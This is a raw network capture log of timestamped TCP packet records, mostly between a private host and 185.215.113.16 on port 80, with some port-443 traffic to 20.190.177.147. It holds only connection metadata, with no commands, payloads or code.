Nov 25, 2024 14:14:54.078134060 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.078413010 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.078790903 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.078864098 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.079251051 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.079307079 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.079668999 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.079720974 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.079781055 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.079864979 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.080584049 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.080636024 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.080821037 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.080996990 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.081531048 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.081638098 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.081907988 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.081963062 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.082323074 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.082367897 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.082858086 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.082915068 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.083353996 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.083367109 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.083515882 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.084220886 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.084295988 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.084572077 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.084775925 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.087486982 CET	443	49891	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:54.087568045 CET	443	49891	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:54.087610960 CET	443	49891	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:54.087641954 CET	49891	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:54.087656021 CET	443	49891	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:54.087687969 CET	49891	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:54.088284016 CET	49891	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:54.088299990 CET	443	49891	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:54.088308096 CET	49891	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:54.088579893 CET	443	49891	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:54.088659048 CET	443	49891	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:54.088924885 CET	49891	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:54.170737982 CET	49897	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:54.170772076 CET	443	49897	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:54.171035051 CET	49897	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:54.171319008 CET	49897	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:54.171328068 CET	443	49897	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:54.222604990 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.222692013 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.222857952 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.223027945 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.223177910 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.223233938 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.223332882 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.223345995 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.223382950 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.224148035 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.224201918 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.224272013 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.224342108 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.224849939 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.224900961 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.225264072 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.225336075 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.225686073 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.225749969 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.226130009 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.226180077 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.226622105 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.226675034 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.226756096 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.226958036 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.227507114 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.227556944 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.227624893 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.227675915 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.228504896 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.228519917 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.228554010 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.228571892 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.229295015 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.229742050 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.229804039 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.230328083 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.230638981 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.230684996 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.230715990 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.231161118 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.231173992 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.231231928 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.232073069 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.232085943 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.232135057 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.232155085 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.233117104 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.233129978 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.233186960 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.233886957 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.234000921 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.234134912 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.234239101 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.234747887 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.234802961 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.234951973 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.235002041 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.235650063 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.236247063 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.236310959 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.236407042 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.236463070 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.237406015 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.237417936 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.237483025 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.237813950 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.237865925 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.238322020 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.238571882 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.238878965 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.238929987 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.239367962 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.239418030 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.239669085 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.240139008 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.240155935 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.240268946 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.240725994 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.240782976 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.240972042 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.241152048 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.241276026 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.241504908 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.241910934 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.241966009 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.242741108 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.242753029 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.242820978 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.242847919 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.242989063 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.243894100 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.243906021 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.243947029 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.243967056 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.244529963 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.245060921 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.245121002 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.245433092 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.245492935 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.245929956 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.245986938 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.246325970 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.246382952 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.246965885 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.247025967 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.247234106 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.247368097 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.247514009 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.248188972 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.248260975 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.248517036 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.249190092 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.249259949 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.249300957 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.249344110 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.250045061 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.250056982 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.250112057 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.250818968 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.250875950 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.250931025 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.251007080 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.269036055 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.269057035 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.269114971 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.269133091 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.269320965 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.269334078 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.269388914 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.270149946 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.270164013 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.270219088 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.271013021 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.271073103 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.271636009 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.271754026 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.272186041 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.272221088 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.272272110 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.273294926 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.273356915 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.273794889 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.273816109 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.273864031 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.274358034 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.274420023 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.274861097 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.274908066 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.275361061 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.275600910 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.275626898 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.275727034 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.276370049 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.276387930 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.276432037 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.276448965 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.277164936 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.277302027 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.277313948 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.277370930 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.278604031 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.278783083 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.279237986 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.279258966 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.279300928 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.279326916 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.279342890 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.280335903 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.280349016 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.280405045 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.281141043 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.281152964 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.281197071 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.281214952 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.281826019 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.282020092 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.282073975 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.282893896 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.282965899 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.283272982 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.283343077 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.283564091 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.283970118 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.284022093 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.284445047 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.284578085 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.284588099 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.284694910 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.285474062 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.285521030 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.285527945 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.285583019 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.424412012 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.424511909 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.424540997 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.424555063 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.424601078 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.424666882 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.424721956 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.425333023 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.425384045 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.425467968 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.425522089 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.426183939 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.426238060 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.426246881 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.426305056 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.426791906 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.426856041 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.426899910 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.426987886 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.427624941 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.427635908 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.427898884 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.428644896 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.428709030 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.429188967 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.429245949 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.429430008 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.429441929 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.429580927 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.430567026 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.430578947 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.430627108 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.431365013 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.431416035 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.431485891 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.431540012 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.432017088 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.432081938 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.432166100 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.432260036 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.432938099 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.433075905 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.433825970 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.433837891 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.433918953 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.434746981 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.434758902 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.434829950 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.435365915 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.435820103 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.435837030 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.435908079 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.435935974 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.436541080 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.436604977 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.437299967 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.437505007 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.438245058 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.438258886 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.438311100 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.438323021 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.438330889 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.438380003 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.439353943 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.439366102 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.439426899 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.440375090 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.440556049 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.440586090 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.440637112 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.441243887 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.441255093 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.441317081 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.442033052 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.442045927 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.442104101 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.443028927 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.443039894 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.443118095 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.443888903 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.443900108 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.444005013 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.444650888 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.444871902 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.444895983 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.445193052 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.445503950 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.445565939 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.445926905 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.446042061 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.446396112 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.446446896 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.446455002 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.446727991 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.447249889 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.447326899 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.447350025 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.447498083 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.448213100 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.448223114 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.448292017 CET	49885	80	192.168.2.5	185.215.113.16
